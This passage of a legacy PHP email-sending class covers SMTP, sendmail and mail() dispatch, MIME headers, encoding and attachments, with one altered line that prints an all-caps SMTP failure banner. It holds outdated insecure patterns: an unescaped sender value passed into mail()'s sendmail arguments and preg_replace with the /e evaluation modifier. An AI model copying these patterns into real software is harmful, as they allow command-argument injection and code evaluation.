  732. } function Send() { $header = '';
  733. $body = '';
  734. $result = true;
  735. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) { $this->SetError($this->Lang('provide_address'));
  736. return false;
  737. } if(!empty($this->AltBody)) { $this->ContentType = 'multipart/alternative';
  738. } $this->error_count = 0;
  739. $this->SetMessageType();
  740. $header .= $this->CreateHeader();
  741. $body = $this->CreateBody();
  742. if($body == '') { return false;
  743. } switch($this->Mailer) { case 'sendmail': $result = $this->SendmailSend($header, $body);
  744. break;
  745. case 'smtp': $result = $this->SmtpSend($header, $body);
  746. break;
  747. case 'mail': $result = $this->MailSend($header, $body);
  748. break;
  749. default: $result = $this->MailSend($header, $body);
  750. break;
  751. } return $result;
  752. } function SendmailSend($header, $body) { if ($this->Sender != '') { $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  753. } else { $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  754. } if(!@$mail = popen($sendmail, 'w')) { $this->SetError($this->Lang('execute') . $this->Sendmail);
  755. return false;
  756. } fputs($mail, $header);
  757. fputs($mail, $body);
  758. $result = pclose($mail);
  759. if (version_compare(phpversion(), '4.2.3') == -1) { $result = $result >> 8 & 0xFF;
  760. } if($result != 0) { $this->SetError($this->Lang('execute') . $this->Sendmail);
  761. return false;
  762. } return true;
  763. } function MailSend($header, $body) { $to = '';
  764. for($i = 0;
  765. $i < count($this->to);
  766. $i++) { if($i != 0) { $to .= ', ';
  767. } $to .= $this->AddrFormat($this->to[$i]);
  768. } $toArr = split(',', $to);
  769. $params = sprintf("-oi -f %s", $this->Sender);
  770. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) { $old_from = ini_get('sendmail_from');
  771. ini_set('sendmail_from', $this->Sender);
  772. if ($this->SingleTo === true && count($toArr) > 1) { foreach ($toArr as $key => $val) { $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  773. } } else { $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  774. } } else { if ($this->SingleTo === true && count($toArr) > 1) { foreach ($toArr as $key => $val) { $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  775. } } else { $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  776. } } if (isset($old_from)) { ini_set('sendmail_from', $old_from);
  777. } if(!$rt) { $this->SetError($this->Lang('instantiate'));
  778. return false;
  779. } return true;
  780. } function SmtpSend($header, $body) { $error = '';
  781. $bad_rcpt = array();
  782. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";
  783. die();
  784. return false;
  785. } $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  786. if(!$this->smtp->Mail($smtp_from)) { $error = $this->Lang('from_failed') . $smtp_from;
  787. $this->SetError($error);
  788. $this->smtp->Reset();
  789. return false;
  790. } for($i = 0;
  791. $i < count($this->to);
  792. $i++) { if(!$this->smtp->Recipient($this->to[$i][0])) { $bad_rcpt[] = $this->to[$i][0];
  793. } } for($i = 0;
  794. $i < count($this->cc);
  795. $i++) { if(!$this->smtp->Recipient($this->cc[$i][0])) { $bad_rcpt[] = $this->cc[$i][0];
  796. } } for($i = 0;
  797. $i < count($this->bcc);
  798. $i++) { if(!$this->smtp->Recipient($this->bcc[$i][0])) { $bad_rcpt[] = $this->bcc[$i][0];
  799. } } if(count($bad_rcpt) > 0) { for($i = 0;
  800. $i < count($bad_rcpt);
  801. $i++) { if($i != 0) { $error .= ', ';
  802. } $error .= $bad_rcpt[$i];
  803. } $error = $this->Lang('recipients_failed') . $error;
  804. $this->SetError($error);
  805. $this->smtp->Reset();
  806. return false;
  807. } if(!$this->smtp->Data($header . $body)) { $this->SetError($this->Lang('data_not_accepted'));
  808. $this->smtp->Reset();
  809. return false;
  810. } if($this->SMTPKeepAlive == true) { $this->smtp->Reset();
  811. } else { $this->SmtpClose();
  812. } return true;
  813. } function SmtpConnect() { if($this->smtp == NULL) { $this->smtp = new SMTP();
  814. } $this->smtp->do_debug = $this->SMTPDebug;
  815. $hosts = explode(';
  816. ', $this->Host);
  817. $index = 0;
  818. $connection = ($this->smtp->Connected());
  819. while($index < count($hosts) && $connection == false) { $hostinfo = array();
  820. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) { $host = $hostinfo[1];
  821. $port = $hostinfo[2];
  822. } else { $host = $hosts[$index];
  823. $port = $this->Port;
  824. } if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) { if ($this->Helo != '') { $this->smtp->Hello($this->Helo);
  825. } else { $this->smtp->Hello($this->ServerHostname());
  826. } $connection = true;
  827. if($this->SMTPAuth) { if(!$this->smtp->Authenticate($this->Username, $this->Password)) { $this->SetError($this->Lang('authenticate'));
  828. $this->smtp->Reset();
  829. $connection = false;
  830. } } } $index++;
  831. } if(!$connection) { $this->SetError($this->Lang('connect_host'));
  832. } return $connection;
  833. } function SmtpClose() { if($this->smtp != NULL) { if($this->smtp->Connected()) { $this->smtp->Quit();
  834. $this->smtp->Close();
  835. } } } function SetLanguage($lang_type, $lang_path = 'language/') { if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) { include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  836. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) { include($lang_path.'phpmailer.lang-en.php');
  837. } else { $this->SetError('Could not load language file');
  838. return false;
  839. } $this->language = $PHPMAILER_LANG;
  840. return true;
  841. } function AddrAppend($type, $addr) { $addr_str = $type . ': ';
  842. $addr_str .= $this->AddrFormat($addr[0]);
  843. if(count($addr) > 1) { for($i = 1;
  844. $i < count($addr);
  845. $i++) { $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  846. } } $addr_str .= $this->LE;
  847. return $addr_str;
  848. } function AddrFormat($addr) { if(empty($addr[1])) { $formatted = $this->SecureHeader($addr[0]);
  849. } else { $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  850. } return $formatted;
  851. } function WrapText($message, $length, $qp_mode = false) { $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  852. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  853. $message = $this->FixEOL($message);
  854. if (substr($message, -1) == $this->LE) { $message = substr($message, 0, -1);
  855. } $line = explode($this->LE, $message);
  856. $message = '';
  857. for ($i=0 ;
  858. $i < count($line);
  859. $i++) { $line_part = explode(' ', $line[$i]);
  860. $buf = '';
  861. for ($e = 0;
  862. $e<count($line_part);
  863. $e++) { $word = $line_part[$e];
  864. if ($qp_mode and (strlen($word) > $length)) { $space_left = $length - strlen($buf) - 1;
  865. if ($e != 0) { if ($space_left > 20) { $len = $space_left;
  866. if ($is_utf8) { $len = $this->UTF8CharBoundary($word, $len);
  867. } elseif (substr($word, $len - 1, 1) == "=") { $len--;
  868. } elseif (substr($word, $len - 2, 1) == "=") { $len -= 2;
  869. } $part = substr($word, 0, $len);
  870. $word = substr($word, $len);
  871. $buf .= ' ' . $part;
  872. $message .= $buf . sprintf("=%s", $this->LE);
  873. } else { $message .= $buf . $soft_break;
  874. } $buf = '';
  875. } while (strlen($word) > 0) { $len = $length;
  876. if ($is_utf8) { $len = $this->UTF8CharBoundary($word, $len);
  877. } elseif (substr($word, $len - 1, 1) == "=") { $len--;
  878. } elseif (substr($word, $len - 2, 1) == "=") { $len -= 2;
  879. } $part = substr($word, 0, $len);
  880. $word = substr($word, $len);
  881. if (strlen($word) > 0) { $message .= $part . sprintf("=%s", $this->LE);
  882. } else { $buf = $part;
  883. } } } else { $buf_o = $buf;
  884. $buf .= ($e == 0) ? $word : (' ' . $word);
  885. if (strlen($buf) > $length and $buf_o != '') { $message .= $buf_o . $soft_break;
  886. $buf = $word;
  887. } } } $message .= $buf . $this->LE;
  888. } return $message;
  889. } function UTF8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false;
  890. $lookBack = 3;
  891. while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  892. $encodedCharPos = strpos($lastChunk, "=");
  893. if ($encodedCharPos !== false) { $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  894. $dec = hexdec($hex);
  895. if ($dec < 128) { $maxLength = ($encodedCharPos == 0) ? $maxLength : $maxLength - ($lookBack - $encodedCharPos);
  896. $foundSplitPos = true;
  897. } elseif ($dec >= 192) { $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  898. $foundSplitPos = true;
  899. } elseif ($dec < 192) { $lookBack += 3;
  900. } } else { $foundSplitPos = true;
  901. } } return $maxLength;
  902. } function SetWordWrap() { if($this->WordWrap < 1) { return;
  903. } switch($this->message_type) { case 'alt': case 'alt_attachments': $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  904. break;
  905. default: $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  906. break;
  907. } } function CreateHeader() { $result = '';
  908. $uniq_id = md5(uniqid(time()));
  909. $this->boundary[1] = 'b1_' . $uniq_id;
  910. $this->boundary[2] = 'b2_' . $uniq_id;
  911. $result .= $this->HeaderLine('Date', $this->RFCDate());
  912. if($this->Sender == '') { $result .= $this->HeaderLine('Return-Path', trim($this->From));
  913. } else { $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  914. } if($this->Mailer != 'mail') { if(count($this->to) > 0) { $result .= $this->AddrAppend('To', $this->to);
  915. } elseif (count($this->cc) == 0) { $result .= $this->HeaderLine('To', 'undisclosed-recipients:;
  916. ');
  917. } if(count($this->cc) > 0) { $result .= $this->AddrAppend('Cc', $this->cc);
  918. } } $from = array();
  919. $from[0][0] = trim($this->From);
  920. $from[0][1] = $this->FromName;
  921. $result .= $this->AddrAppend('From', $from);
  922. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) { $result .= $this->AddrAppend('Cc', $this->cc);
  923. } if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) { $result .= $this->AddrAppend('Bcc', $this->bcc);
  924. } if($replyto != "") { if(count($this->ReplyTo) > 0) { $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  925. } } if($this->Mailer != 'mail') { $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  926. } if($this->MessageID != '') { $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  927. } else { $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  928. } $result .= $this->HeaderLine('X-Priority', $this->Priority);
  929. if($this->ConfirmReadingTo != '') { $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  930. } for($index = 0;
  931. $index < count($this->CustomHeader);
  932. $index++) { $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  933. } if (!$this->sign_key_file) { $result .= $this->HeaderLine('MIME-Version', '1.0');
  934. $result .= $this->GetMailMIME();
  935. } return $result;
  936. } function GetMailMIME() { $result = '';
  937. switch($this->message_type) { case 'plain': $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  938. $result .= sprintf("Content-Type: %s;
  939. charset=\"%s\"", $this->ContentType, $this->CharSet);
  940. break;
  941. case 'attachments': case 'alt_attachments': if($this->InlineImageExists()){ $result .= sprintf("Content-Type: %s;
  942. %s\ttype=\"text/html\";
  943. %s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  944. } else { $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;
  945. ');
  946. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  947. } break;
  948. case 'alt': $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;
  949. ');
  950. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  951. break;
  952. } if($this->Mailer != 'mail') { $result .= $this->LE.$this->LE;
  953. } return $result;
  954. } function CreateBody() { $result = '';
  955. if ($this->sign_key_file) { $result .= $this->GetMailMIME();
  956. } $this->SetWordWrap();
  957. switch($this->message_type) { case 'alt': $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  958. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  959. $result .= $this->LE.$this->LE;
  960. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  961. $result .= $this->EncodeString($this->Body, $this->Encoding);
  962. $result .= $this->LE.$this->LE;
  963. $result .= $this->EndBoundary($this->boundary[1]);
  964. break;
  965. case 'plain': $result .= $this->EncodeString($this->Body, $this->Encoding);
  966. break;
  967. case 'attachments': $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  968. $result .= $this->EncodeString($this->Body, $this->Encoding);
  969. $result .= $this->LE;
  970. $result .= $this->AttachAll();
  971. break;
  972. case 'alt_attachments': $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  973. $result .= sprintf("Content-Type: %s;
  974. %s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  975. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE;
  976. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  977. $result .= $this->LE.$this->LE;
  978. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE;
  979. $result .= $this->EncodeString($this->Body, $this->Encoding);
  980. $result .= $this->LE.$this->LE;
  981. $result .= $this->EndBoundary($this->boundary[2]);
  982. $result .= $this->AttachAll();
  983. break;
  984. } if($this->IsError()) { $result = '';
  985. } else if ($this->sign_key_file) { $file = tempnam("", "mail");
  986. $fp = fopen($file, "w");
  987. fwrite($fp, $result);
  988. fclose($fp);
  989. $signed = tempnam("", "signed");
  990. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) { $fp = fopen($signed, "r");
  991. $result = fread($fp, filesize($this->sign_key_file));
  992. fclose($fp);
  993. } else { $this->SetError($this->Lang("signing").openssl_error_string());
  994. $result = '';
  995. } unlink($file);
  996. unlink($signed);
  997. } return $result;
  998. } function GetBoundary($boundary, $charSet, $contentType, $encoding) { $result = '';
  999. if($charSet == '') { $charSet = $this->CharSet;
  1000. } if($contentType == '') { $contentType = $this->ContentType;
  1001. } if($encoding == '') { $encoding = $this->Encoding;
  1002. } $result .= $this->TextLine('--' . $boundary);
  1003. $result .= sprintf("Content-Type: %s;
  1004. charset = \"%s\"", $contentType, $charSet);
  1005. $result .= $this->LE;
  1006. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  1007. $result .= $this->LE;
  1008. return $result;
  1009. } function EndBoundary($boundary) { return $this->LE . '--' . $boundary . '--' . $this->LE;
  1010. } function SetMessageType() { if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) { $this->message_type = 'plain';
  1011. } else { if(count($this->attachment) > 0) { $this->message_type = 'attachments';
  1012. } if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) { $this->message_type = 'alt';
  1013. } if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) { $this->message_type = 'alt_attachments';
  1014. } } } function HeaderLine($name, $value) { return $name . ': ' . $value . $this->LE;
  1015. } function TextLine($value) { return $value . $this->LE;
  1016. } function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') { if(!@is_file($path)) { $this->SetError($this->Lang('file_access') . $path);
  1017. return false;
  1018. } $filename = basename($path);
  1019. if($name == '') { $name = $filename;
  1020. } $cur = count($this->attachment);
  1021. $this->attachment[$cur][0] = $path;
  1022. $this->attachment[$cur][1] = $filename;
  1023. $this->attachment[$cur][2] = $name;
  1024. $this->attachment[$cur][3] = $encoding;
  1025. $this->attachment[$cur][4] = $type;
  1026. $this->attachment[$cur][5] = false;
  1027. $this->attachment[$cur][6] = 'attachment';
  1028. $this->attachment[$cur][7] = 0;
  1029. return true;
  1030. } function AttachAll() { $mime = array();
  1031. for($i = 0;
  1032. $i < count($this->attachment);
  1033. $i++) { $bString = $this->attachment[$i][5];
  1034. if ($bString) { $string = $this->attachment[$i][0];
  1035. } else { $path = $this->attachment[$i][0];
  1036. } $filename = $this->attachment[$i][1];
  1037. $name = $this->attachment[$i][2];
  1038. $encoding = $this->attachment[$i][3];
  1039. $type = $this->attachment[$i][4];
  1040. $disposition = $this->attachment[$i][6];
  1041. $cid = $this->attachment[$i][7];
  1042. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  1043. $mime[] = sprintf("Content-Type: %s;
  1044. name=\"%s\"%s", $type, $name, $this->LE);
  1045. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  1046. if($disposition == 'inline') { $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  1047. } $mime[] = sprintf("Content-Disposition: %s;
  1048. filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  1049. if($bString) { $mime[] = $this->EncodeString($string, $encoding);
  1050. if($this->IsError()) { return '';
  1051. } $mime[] = $this->LE.$this->LE;
  1052. } else { $mime[] = $this->EncodeFile($path, $encoding);
  1053. if($this->IsError()) { return '';
  1054. } $mime[] = $this->LE.$this->LE;
  1055. } } $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  1056. return join('', $mime);
  1057. } function EncodeFile ($path, $encoding = 'base64') { if(!@$fd = fopen($path, 'rb')) { $this->SetError($this->Lang('file_open') . $path);
  1058. return '';
  1059. } $magic_quotes = get_magic_quotes_runtime();
  1060. set_magic_quotes_runtime(0);
  1061. $file_buffer = fread($fd, filesize($path));
  1062. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  1063. fclose($fd);
  1064. set_magic_quotes_runtime($magic_quotes);
  1065. return $file_buffer;
  1066. } function EncodeString ($str, $encoding = 'base64') { $encoded = '';
  1067. switch(strtolower($encoding)) { case 'base64': $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  1068. break;
  1069. case '7bit': case '8bit': $encoded = $this->FixEOL($str);
  1070. if (substr($encoded, -(strlen($this->LE))) != $this->LE) $encoded .= $this->LE;
  1071. break;
  1072. case 'binary': $encoded = $str;
  1073. break;
  1074. case 'quoted-printable': $encoded = $this->EncodeQP($str);
  1075. break;
  1076. default: $this->SetError($this->Lang('encoding') . $encoding);
  1077. break;
  1078. } return $encoded;
  1079. } function EncodeHeader ($str, $position = 'text') { $x = 0;
  1080. switch (strtolower($position)) { case 'phrase': if (!preg_match('/[\200-\377]/', $str)) { $encoded = addcslashes($str, "\0..\37\177\\\"");
  1081. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { return ($encoded);
  1082. } else { return ("\"$encoded\"");
  1083. } } $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  1084. break;
  1085. case 'comment': $x = preg_match_all('/[()"]/', $str, $matches);
  1086. case 'text': default: $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  1087. break;
  1088. } if ($x == 0) { return ($str);
  1089. } $maxlen = 75 - 7 - strlen($this->CharSet);
  1090. if (strlen($str)/3 < $x) { $encoding = 'B';
  1091. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) { $encoded = $this->Base64EncodeWrapMB($str);
  1092. } else { $encoded = base64_encode($str);
  1093. $maxlen -= $maxlen % 4;
  1094. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  1095. } } else { $encoding = 'Q';
  1096. $encoded = $this->EncodeQ($str, $position);
  1097. $encoded = $this->WrapText($encoded, $maxlen, true);
  1098. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  1099. } $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  1100. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  1101. return $encoded;
  1102. } function HasMultiBytes($str) { if (function_exists('mb_strlen')) { return (strlen($str) > mb_strlen($str, $this->CharSet));
  1103. } else { return False;
  1104. } } function Base64EncodeWrapMB($str) { $start = "=?".$this->CharSet."?B?";
  1105. $end = "?=";
  1106. $encoded = "";
  1107. $mb_length = mb_strlen($str, $this->CharSet);
  1108. $length = 75 - strlen($start) - strlen($end);
  1109. $ratio = $mb_length / strlen($str);
  1110. $offset = $avgLength = floor($length * $ratio * .75);
  1111. for ($i = 0;
  1112. $i < $mb_length;
  1113. $i += $offset) { $lookBack = 0;
  1114. do { $offset = $avgLength - $lookBack;
  1115. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  1116. $chunk = base64_encode($chunk);
  1117. $lookBack++;
  1118. } while (strlen($chunk) > $length);
  1119. $encoded .= $chunk . $this->LE;
  1120. } $encoded = substr($encoded, 0, -strlen($this->LE));
  1121. return $encoded;
  1122. } function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) { $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  1123. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  1124. $eol = "\r\n";
  1125. $escape = '=';
  1126. $output = '';
  1127. while( list(, $line) = each($lines) ) { $linlen = strlen($line);
  1128. $newline = '';
  1129. for($i = 0;
  1130. $i < $linlen;
  1131. $i++) { $c = substr( $line, $i, 1 );
  1132. $dec = ord( $c );
  1133. if ( ( $i == 0 ) && ( $dec == 46 ) ) { $c = '=2E';
  1134. } if ( $dec == 32 ) { if ( $i == ( $linlen - 1 ) ) { $c = '=20';
  1135. } else if ( $space_conv ) { $c = '=20';
  1136. } } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { $h2 = floor($dec/16);
  1137. $h1 = floor($dec%16);
  1138. $c = $escape.$hex[$h2].$hex[$h1];
  1139. } if ( (strlen($newline) + strlen($c)) >= $line_max ) { $output .= $newline.$escape.$eol;
  1140. $newline = '';
  1141. if ( $dec == 46 ) { $c = '=2E';
  1142. } } $newline .= $c;
  1143. } $output .= $newline.$eol;
  1144. } return trim($output);
  1145. } function EncodeQ ($str, $position = 'text') { $encoded = preg_replace("[\r\n]", '', $str);
  1146. switch (strtolower($position)) { case 'phrase': $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  1147. break;
  1148. case 'comment': $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  1149. case 'text': default: $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e', "'='.sprintf('%02X', ord('\\1'))", $encoded);
  1150. break;
  1151. } $encoded = str_replace(' ', '_', $encoded);
  1152. return $encoded;
  1153. } function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') { $cur = count($this->attachment);
  1154. $this->attachment[$cur][0] = $string;
  1155. $this->attachment[$cur][1] = $filename;
  1156. $this->attachment[$cur][2] = $filename;
  1157. $this->attachment[$cur][3] = $encoding;
  1158. $this->attachment[$cur][4] = $type;
  1159. $this->attachment[$cur][5] = true;
  1160. $this->attachment[$cur][6] = 'attachment';
  1161. $this->attachment[$cur][7] = 0;
  1162. } function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') { if(!@is_file($path)) { $this->SetError($this->Lang('file_access') . $path);
  1163. return false;
  1164. } $filename = basename($path);
  1165. if($name == '') { $name = $filename;
  1166. } $cur = count($this->attachment);
  1167. $this->attachment[$cur][0] = $path;
  1168. $this->attachment[$cur][1] = $filename;
  1169. $this->attachment[$cur][2] = $name;
  1170. $this->attachment[$cur][3] = $encoding;
  1171. $this->attachment[$cur][4] = $type;
  1172. $this->attachment[$cur][5] = false;
  1173. $this->attachment[$cur][6] = 'inline';
  1174. $this->attachment[$cur][7] = $cid;
  1175. return true;
  1176. } function InlineImageExists() { $result = false;
  1177. for($i = 0;
  1178. $i < count($this->attachment);
  1179. $i++) { if($this->attachment[$i][6] == 'inline') { $result = true;
  1180. break;
  1181. } } return $result;
  1182. } function ClearAddresses() { $this->to = array();
  1183. } function ClearCCs() { $this->cc = array();
  1184. } function ClearBCCs() { $this->bcc = array();
  1185. } function ClearReplyTos() { $this->ReplyTo = array();
  1186. } function ClearAllRecipients() { $this->to = array();
  1187. $this->cc = array();
  1188. $this->bcc = array();
  1189. } function ClearAttachments() { $this->attachment = array();
  1190. } function ClearCustomHeaders() { $this->CustomHeader = array();
  1191. } function SetError($msg) { $this->error_count++;
  1192. $this->ErrorInfo = $msg;
  1193. } function RFCDate() { $tz = date('Z');
  1194. $tzs = ($tz < 0) ? '-' : '+';
  1195. $tz = abs($tz);
  1196. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  1197. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  1198. return $result;
  1199. } function ServerVar($varName) { global $HTTP_SERVER_VARS;
  1200. global $HTTP_ENV_VARS;
  1201. if(!isset($_SERVER)) { $_SERVER = $HTTP_SERVER_VARS;
  1202. if(!isset($_SERVER['REMOTE_ADDR'])) { $_SERVER = $HTTP_ENV_VARS;
  1203. } } if(isset($_SERVER[$varName])) { return $_SERVER[$varName];
  1204. } else { return '';
  1205. } } function ServerHostname() { if ($this->Hostname != '') { $result = $this->Hostname;
  1206. } elseif ($this->ServerVar('SERVER_NAME') != '') { $result = $this->ServerVar('SERVER_NAME');
  1207. } else { $result = 'localhost.localdomain';
  1208. } return $result;
  1209. } function Lang($key) { if(count($this->language) < 1) { $this->SetLanguage('en');
  1210. } if(isset($this->language[$key])) { return $this->language[$key];
  1211. } else { return 'Language string failed to load: ' . $key;
  1212. } } function IsError() { return ($this->error_count > 0);
  1213. } function FixEOL($str) { $str = str_replace("\r\n", "\n", $str);
  1214. $str = str_replace("\r", "\n", $str);
  1215. $str = str_replace("\n", $this->LE, $str);
  1216. return $str;
  1217. } function AddCustomHeader($custom_header) { $this->CustomHeader[] = explode(':', $custom_header, 2);
  1218. } function MsgHTML($message,$basedir='') { preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  1219. if(isset($images[2])) { foreach($images[2] as $i => $url) { if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) { $filename = basename($url);
  1220. $directory = dirname($url);
  1221. ($directory == '.')?$directory='':'';
  1222. $cid = 'cid:' . md5($filename);
  1223. $fileParts = split("\.", $filename);
  1224. $ext = $fileParts[1];
  1225. $mimeType = $this->_mime_types($ext);
  1226. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/';
  1227. } if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/';
  1228. } $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  1229. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) { $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  1230. } } } } $this->IsHTML(true);
  1231. $this->Body = $message;
  1232. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  1233. if ( !empty($textMsg) && empty($this->AltBody) ) { $this->AltBody = $textMsg;
  1234. } if ( empty($this->AltBody) ) { $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  1235. } } function _mime_types($ext = '') { $mimes = array( 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'doc' => 'application/msword', 'bin' => 'application/macbinary', 'dms' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'class' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'so' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php3' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'js' => 'application/x-javascript', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xhtml' => 'application/xhtml+xml', 'xht' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mpga' => 'audio/mpeg', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'rv' => 'video/vnd.rn-realvideo', 'wav' => 'audio/x-wav', 'bmp' => 